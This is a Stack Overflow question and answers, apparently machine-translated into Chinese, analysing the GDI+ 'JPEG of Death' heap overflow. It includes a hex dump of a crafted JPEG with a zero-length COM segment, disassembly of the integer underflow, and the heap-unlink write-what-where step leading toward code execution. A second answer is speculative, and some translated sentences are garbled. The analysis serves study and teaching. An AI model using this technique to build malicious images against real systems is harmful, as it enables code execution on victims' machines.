JPEG of Death漏洞如何运作?

Raf*_*afa 94 c++ security memcpy malware

我一直在阅读有关Windows XP和Windows Server 2003上针对GDI +的旧版漏洞,我正在研究一个名为JPEG of death的项目.

该漏洞利用在以下链接中得到了很好的解释:http: //www.infosecwriters.com/text_resources/pdf/JPEG.pdf

基本上,JPEG文件包含一个名为COM的部分,其中包含一个(可能为空)注释字段,以及一个包含COM大小的双字节值.如果没有注释,则大小为2.读取器(GDI +)读取大小,减去两个,并分配适当大小的缓冲区以复制堆中的注释.攻击涉及0在现场放置一个值.GDI +减去2,导致的一个值-2 (0xFFFe),其被转化成无符号整数0XFFFFFFFEmemcpy.

示例代码:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);
Run Code Online (Sandbox Code Playgroud)

注意malloc(0)在第三行应返回指向堆上未分配内存的指针.如何写入0XFFFFFFFE字节(4GB!!!!)可能不会使程序崩溃?这是否超出堆区域并进入其他程序和操作系统的空间?那么会发生什么?

据我所知memcpy,它只是简单地将n字符从目的地复制到源.在这种情况下,源应该在堆栈上,堆上的目标,并且n4GB.

Nei*_*tsa 94

这个漏洞绝对是一个堆溢出.

怎么写0XFFFFFFFE字节(4 GB !!!!)可能不会崩溃程序?

它可能会,但在某些情况下你有时间在崩溃发生之前利用(有时,你可以让程序恢复正常执行并避免崩溃).

当memcpy()启动时,副本将覆盖其他一些堆块或堆管理结构的某些部分(例如,空闲列表,忙列表等).

在某些时候,副本将遇到未分配的页面并在写入时触发AV(访问冲突).然后GDI +将尝试在堆中分配一个新块(请参阅ntdll!RtlAllocateHeap)...但是堆结构现在都搞砸了.

此时,通过精心设计JPEG图像,您可以使用受控数据覆盖堆管理结构.当系统尝试分配新块时,它可能会取消(空闲)块与空闲列表的链接.

块(特别是)flink(前向链接;列表中的下一个块)和闪烁(后向链接;列表中的前一个块)指针进行管理.如果您同时控制flink和blink,则可能有一个WRITE4(写入What/Where条件),您可以在其中控制可以写入的内容以及可以写入的位置.

此时,您可以覆盖函数指针(SEH [结构化异常处理程序]指针是2004年那时的首选目标)并获得代码执行.

请参阅博客文章Heap Corruption:案例研究.

注意:虽然我写了关于使用freelist的利用,但攻击者可能会选择使用其他堆元数据的另一个路径("堆元数据"是系统用来管理堆的结构; flink和blink是堆元数据的一部分),但是unlink剥离可能是"最简单的".谷歌搜索"堆利用"将返回关于此的大量研究.

这是否超出堆区域并进入其他程序和操作系统的空间?

决不.现代操作系统基于虚拟地址空间的概念,因此每个进程都有自己的虚拟地址空间,可以在32位系统上寻址高达4千兆字节的内存(实际上,只有一半在用户区中,剩下的就是内核).

简而言之,进程无法访问另一个进程的内存(除非它通过某些服务/ API向内核询问它,但内核将检查调用者是否有权这样做).


我决定在本周末测试这个漏洞,这样我们就可以了解正在发生的事情,而不是纯粹的猜测.这个漏洞现在已经有10年了,所以我认为可以写一下这个漏洞,虽然我没有在这个答案中解释漏洞部分.

规划

最困难的任务是找到一个只有SP1的Windows XP,就像2004年那样:)

然后,我下载了仅由单个像素组成的JPEG图像,如下所示(为简洁起见):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]
Run Code Online (Sandbox Code Playgroud)

JPEG图片由二进制标记(引入片段)组成.在上图中,FF D8是SOI(图像开始)标记,而FF E0例如是应用标记.

标记段中的第一个参数(除了一些标记,如SOI)是一个双字节长度参数,它对标记段中的字节数进行编码,包括长度参数,不包括双字节标记.

我只是FFFE在SOI之后添加了一个COM标记(0x ),因为标记没有严格的顺序.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Run Code Online (Sandbox Code Playgroud)

COM段的长度设置00 00为触发漏洞.我还在COM标记之后注入了0xFFFC字节,其中包含一个循环模式,一个4字节的十六进制数字,这将在"利用"漏洞时变得很方便.

调试

双击图像将立即gdiplus.dll在名为的函数中的某个位置触发Windows shell(也称为"explorer.exe")中的错误GpJpegDecoder::read_jpeg_marker().

为图片中的每个标记调用此函数,它只是:读取标记段大小,分配长度为段大小的缓冲区,并将段的内容复制到此新分配的缓冲区中.

这里是函数的开头:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image
Run Code Online (Sandbox Code Playgroud)

eax寄存器指向段大小,edi是图像中剩余的字节数.

然后代码继续读取段大小,从最高有效字节开始(长度为16位值):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size
Run Code Online (Sandbox Code Playgroud)

最不重要的字节:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size
Run Code Online (Sandbox Code Playgroud)

完成此操作后,段大小将用于分配缓冲区,计算后:

alloc_size = segment_size + 2

这是通过以下代码完成的:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
Run Code Online (Sandbox Code Playgroud)

在我们的例子中,当段大小为0时,缓冲区的分配大小为2个字节.

分配后漏洞就在发生:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx
Run Code Online (Sandbox Code Playgroud)

代码只是从整个段大小(在我们的例子中为0)中减去segment_size大小(段长度是2个字节的值),最后得到一个整数下溢:0 - 2 = 0xFFFFFFFE

然后代码检查是否有剩余的字节要在图像中解析(这是真的),然后跳转到副本:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks
Run Code Online (Sandbox Code Playgroud)

上面的代码片段显示复制大小为0xFFFFFFFE 32位块.控制源缓冲区(图片内容),目标是堆上的缓冲区.

写条件

当副本到达内存页面的末尾时,副本将触发访问冲突(AV)异常(这可能来自源指针或目标指针).触发AV时,堆已处于易受攻击状态,因为副本已覆盖所有后续堆块,直到遇到未映射的页面.

使这个漏洞可利用的原因是3 SEH(结构化异常处理程序;这是try /除了低级别)正在捕获这部分代码的异常.更准确地说,第一个SEH将展开堆栈,以便它返回解析另一个JPEG标记,从而完全跳过触发异常的标记.

如果没有SEH,代码就会崩溃整个程序.因此代码跳过COM段并解析另一个段.所以我们回到GpJpegDecoder::read_jpeg_marker()一个新的段,当代码分配一个新的缓冲区时:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
Run Code Online (Sandbox Code Playgroud)

系统将取消块与空闲列表的链接.发生了元数据结构被图像内容覆盖的情况; 所以我们用受控元数据控制取消链接.以下代码位于堆管理器中系统(ntdll)的某处:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!
Run Code Online (Sandbox Code Playgroud)

现在我们可以写出我们想要的东西,我们想要的地方......


Mic*_*CMS 3

由于我不知道 GDI 的代码,所以下面的内容只是猜测。

好吧,我想到的一件事是我在某些操作系统上注意到的一种行为(我不知道 Windows XP 是否有这个)是在使用 new / 分配时malloc,实际上可以分配比 RAM 更大的空间,只要你不写那个记忆。

这实际上是linux内核的一种行为。

来自 www.kernel.org :

进程线性地址空间中的页不一定驻留在内存中。例如,代表进程进行的分配不会立即得到满足,因为空间只是在 vm_area_struct 中保留。

要进入常驻内存,必须触发页面错误。

基本上,您需要在内存实际在系统上分配之前将其弄脏:

  unsigned int size=-1;
  char* comment = new char[size];
Run Code Online (Sandbox Code Playgroud)

有时它实际上不会在 RAM 中进行真正的分配(您的程序仍然不会使用 4 GB)。我知道我在 Linux 上见过这种行为,但现在我无法在 Windows 7 安装上复制它。

从这种行为开始,以下场景是可能的。

为了使该内存存在于 RAM 中,您需要将其弄脏(基本上是 memset 或对其进行其他写入):

  memset(comment, 0, size);
Run Code Online (Sandbox Code Playgroud)

然而,该漏洞利用的是缓冲区溢出,而不是分配失败。

换句话说,如果我有这个:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);
Run Code Online (Sandbox Code Playgroud)

这将导致缓冲区后写入,因为不存在 4 GB 的连续内存段。

你没有在 p 中放入任何东西来使整个 4 GB 内存变脏,而且我不知道是否会memcpy立即使内存变脏,或者只是逐页变脏(我认为是逐页变脏)。

最终它会覆盖堆栈帧(堆栈缓冲区溢出)。

另一个更可能的漏洞是,如果图片作为字节数组保存在内存中(将整个文件读入缓冲区),并且注释的大小仅用于跳过非重要信息。

例如

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here
Run Code Online (Sandbox Code Playgroud)

正如您提到的,如果 GDI 没有分配该大小,程序将永远不会崩溃。

  • 我不认为这句话是真的:“最终它将写入另一个进程地址。” 通常一个进程不能访问另一个进程的内存。请参阅[MMU 优点](http://en.wikipedia.org/wiki/Memory_management_unit#Benefits)。 (9认同)
  • 这可能适用于 64 位系统,其中 4GB 并不是什么大问题(就地址空间而言)。但在 32 位系统中,(它们似乎也很容易受到攻击)您无法保留 4GB 的地址空间,因为这就是全部了!所以 `malloc(-1U)` 肯定会失败,返回 `NULL` 并且 `memcpy()` 将崩溃。 (4认同)